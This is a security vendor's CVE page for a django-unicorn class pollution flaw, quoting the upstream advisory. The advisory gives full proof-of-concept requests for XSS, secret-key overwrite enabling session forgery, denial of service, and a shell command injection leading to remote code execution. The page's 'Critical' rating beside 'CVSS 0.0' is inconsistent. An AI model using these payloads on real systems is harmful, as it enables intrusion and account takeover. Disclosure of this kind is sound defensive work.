HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2025 24370 django unicorn class pollution vulnerability
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Critical ยท CVSS 0.0CVE-2025-24370GHSA-G9WF-5777-GQ43

Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication BypassCVE-2025-24370

Answer in brief

CVE-2025-24370 records a Critical severity (CVSS 0.0) vulnerability in Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass. The current sources do not mark it as known exploited. The current feed maps django-unicorn (pip), django-unicorn (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Feb 3, 2025Updated Oct 27, 2026Source checked Oct 27, 2026First seen by HOL Oct 27, 2026Material review Oct 27, 2026
Upstream Advisory

Key facts

Risk
Critical ยท CVSS 0.0
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 0.0. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps django-unicorn (pip), django-unicorn (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
django-unicornpip<0.62.00.62.0
django-unicornpypi>=0 <0.62.00.62.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for django-unicorn, django-unicorn.
  2. 2Review the reported fix. Update django-unicorn to 0.62.0; django-unicorn to 0.62.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Feb 3, 2025

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 27, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 27, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • GitHub security advisorygithub.com
Upstream source description

# Summary Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The vulnerability arises from the core functionality `set_property_value`, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status. At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application. # Analysis of Vulnerable Function By taking a look at the vulnerable function `set_property_value` located at: `django_unicorn/views/action_parsers/utils.py`. You can observe the functionality is responsible for modifying a property value of an object. The property is specified by a dotted form of path at the second parameter `property_name`, where nested reference to object is supported, and base object and the assigned value is given by the first parameter `component` and third parameter `property_value`. ```python # https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10 def set_property_value( component, property_name, property_value ) -> None: ... property_name_parts = property_name.split(".") component_or_field = component ... for idx, property_name_part in enumerate(property_name_parts): if hasattr(component_or_field, property_name_part): if idx == len(property_name_parts) - 1: ... setattr(component_or_field, property_name_part, property_value) ... else: component_or_field = getattr(component_or_field, property_name_part) ... elif isinstance(component_or_field, dict): if idx == len(property_name_parts) - 1: component_or_field[property_name_part] = property_value ... else: component_or_field = component_or_field[property_name_part] ... elif isinstance(component_or_field, (QuerySet, list)): property_name_part_int = int(property_name_part) if idx == len(property_name_parts) - 1: component_or_field[property_name_part_int] = property_value # type: ignore[index] ... else: component_or_field = component_or_field[property_name_part_int] # type: ignore[index] ... else: break ``` Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as `syncInput` and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function. ```json POST /unicorn/message/COMPONENT_NAME { "id": 123, "actionQueue":[ { "type": "syncInput", "payload": { "name": "DOTTED_PATH", "value":"ASSIGNED_VALUE" } } ], "data": {XXX}, "epoch": "123", "checksum": "XXXX" } ``` You are now aware of that users from the remote can fully control the `property_name` and `property_value` of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function. However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the **magic attributes**. For example, if the `property_name` was set to `__init__.__globals__`, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain. With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module. The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed `django-unicorn.com` as demo website to showcase its large-scale impact. > Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS. # Proof of Concept ## #1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer Django-Unicorn implants the `EntitySubstitution` rule from beautifulsoup4 library into its [HTML formatter](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/components/unicorn_template_response.py#L125), formatting all the template response messages. ![image-20250121163510422](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-35-11-a1aa5cfa196383e3a26636eb80bd85f0.png) While [this rule](https://github.com/akalongman/python-beautifulsoup/blob/master/bs4/dammit.py#L79) is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it. ```http POST /unicorn/message/todo HTTP/1.1 { "id": 123, "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<", "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>" } } ], "data": { "task": "", "tasks": [] }, "epoch": "123", "checksum": "XXX" } ``` In this demonstration, replaced the sanitizer's `<` item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack. ![bs4-xss](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-40-56-5ecbe8f2d39a6cc9a546744ca995b2d9.gif) ## #2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and [Django](https://github.com/django/django) Json Script Sanitizer There is always a script tag in the webpage. Among it, a `NAME` value is dynamically extracted both from the `MORPHER_NAMES` and `DEFAULT_MORPHER_NAME` variable in the [setting module](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/settings.py#L12). ![image-20250121165007647](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-50-08-f2a628f8d06ba81c9bb71f78766cecb7.png) However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences. ![image-20250121164947336](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-49-47-b756d516b0b3e3d025d876963e1dbf6a.png) Going through the source code of django, you will find the actual sanitizer located at `_json_script_escapes` variable at [django/utils/html.py](https://github.com/django/django/blob/862b7f98a02b7973848db578ff6d24ec8500fdb4/django/utils/html.py#L84). ![image-20250121165247245](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-52-47-b60cd91f46ed89bc7b0a4b3f68521827.png) By polluting this variable to clear it out, you finally achieve a stored XSS attack. ![image-20250121165839892](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-58-40-97608fc15544d68edbfbdc8e61744b12.png) PoC: ```http POST /unicorn/message/todo HTTP/1.1 { "id": "3gpDSUcxzs1", "data": { "task": "", "tasks": [] }, "checksum": "XXX", "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES", "value": [ "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>" ] } }, { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME", "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>" } }, { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes", "value": {} } } ], "epoch": 1737318956605, "hash": "jWGuTFzy" } ``` ![json_unicode_xss](https://api.2h0ng.wiki:443/noteimages/2025/01/21/16-58-59-f8da2463bbaa8de4f305c6fd2235172b.gif) ## #3 Stored Cross-Site Scripting by Overwriting [Django](https://github.com/django/django) Error Page Source Code Django by default stores its error page source code in a global variable named `ERROR_PAGE_TEMPLATE` at [django/views/defaults.py](https://github.com/django/django/blob/main/django/views/defaults.py#L16). ![image-20250121170357900](https://api.2h0ng.wiki:443/noteimages/2025/01/21/17-03-58-86c9cf2abfa28f0e1ed479521af5be2e.png) By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out. ```http POST /unicorn/message/todo HTTP/1.1 { "id": 123, "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE", "value": "<html><script>alert('error page pollution')</script></html>" } } ], "data": { "task": "", "tasks": [] }, "epoch": "123", "checksum": "XXX" } ``` ![django-404-xss](https://api.2h0ng.wiki:443/noteimages/2025/01/21/17-05-05-e6ce889e7549243a5d8a60877fbb8cff.gif) ## #4 Authentication Bypass by Overwriting [Django](https://github.com/django/django) Secret Key Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user. Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key. ```HTTP POST /unicorn/message/todo HTTP/1.1 { "id": 123, "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY", "value": "test" } } ], "data": { "task": "", "tasks": [] }, "epoch": "123", "checksum": "XXX" } ``` ![authentication_bypass](https://api.2h0ng.wiki:443/noteimages/2025/01/21/17-12-20-424da7c5c960471600863828fba93c4a.gif) ## #5 Denial of Service by Overwriting `timed` Decorator Method The [timed](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/decorators.py#L9) decorator is used to modify many important functions in the django-unicorn, such as [_call_method_name](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/call_method.py#L122). ![image-20250121171823756](https://api.2h0ng.wiki:443/noteimages/2025/01/21/17-18-24-0e1cec22199ab2dc1bc9bbcb76d2dcd9.png) By polluting the core decorator method `timed` to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack. ```http POST /unicorn/message/todo HTTP/1.1 { "id": 123, "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.timed", "value": "X" } } ], "data": { "task": "", "tasks": [] }, "epoch": "123", "checksum": "XXX" } ``` ![dos_attack](https://api.2h0ng.wiki:443/noteimages/2025/01/21/17-20-39-20ab579669a459c7fb54afeab21dcd4e.gif) ## #6 Remote Code Execution by Polluting `location_cache` and OS Environment Variable `BROWSER` By polluting the cached data in the `location_cache` object located at [unicorn_view.py](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django_unicorn/components/unicorn_view.py#L42C1-L43C1), attackers can archieve an arbitrary module importation as the logic executed at [_get_component_class](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django_unicorn/components/unicorn_view.py#L835) function. Then a following pollution on the `BROWSER` os environment variable will lead to remote code execution when it is combined with `antigravity` module importation. - Pollute `location_cache._Cache__data.todo` as an array where the first element is the module name imported whenever a `GET` request is sent to the server. ```HTTP POST /unicorn/message/todo HTTP/1.1 Host: proof-of-concept:2334 Content-Length: 327 Accept: application/json { "id": "E5FBWqME", "data": { "task": "", "tasks": [] }, "checksum": "XvvsDQXX", "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.location_cache._Cache__data.todo", "value": [ "antigravity", "any" ] }, "partials": [] }, { "type": "callMethod", "payload": { "name": "add" }, "partials": [] } ], "epoch": 1746680343776, "hash": "CG5pMDxc" } ``` - Pollute `BROWSER` os environment variable where the payload for command injection is set. ```HTTP POST /unicorn/message/todo HTTP/1.1 Host: proof-of-concept:2334 Content-Length: 348 Accept: application/json { "id": "E5FBWqME", "data": { "task": "", "tasks": [] }, "checksum": "XvvsDQXX", "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.os.environ", "value": { "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s" } }, "partials": [] }, { "type": "callMethod", "payload": { "name": "add" }, "partials": [] } ], "epoch": 1746680343776, "hash": "CG5pMDxc" } ``` ![django-unicorn-rce](https://github.com/user-attachments/assets/8ad88609-c399-4852-8dd4-7fbc59cb28ae) # Mitigation The patch could be: - Blocking paths that start with `__`, which represent **double under (dunder)** or **magic variables/methods** - Set a blacklist for the path, such as `RESTRICTED_KEYS = ("__globals__", "__builtins__")` adopted by [pydash](https://github.com/dgilland/pydash/blob/f4112f61ddb02e5181e781709d775838c9978b97/src/pydash/helpers.py#L211). # Related Materials For more information about class pollution please refer to: [1] [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) [2] [Report: Class Pollution leading to RCE in pydash](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca) [3] [Blog: Prototype Pollution in Python](https://blog.abdulrah33m.com/prototype-pollution-in-python/) [4] [Blog: Class Pollution Gadgets in Jinja Leading to RCE](https://www.offensiveweb.com/docs/programming/python/class-pollution/)

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Command Injection
EPSS
Not reported
CWE IDs
CWE-915
Source
GitHub Security Advisories
Source checked
Oct 27, 2026
References
8 linked sources
Open source record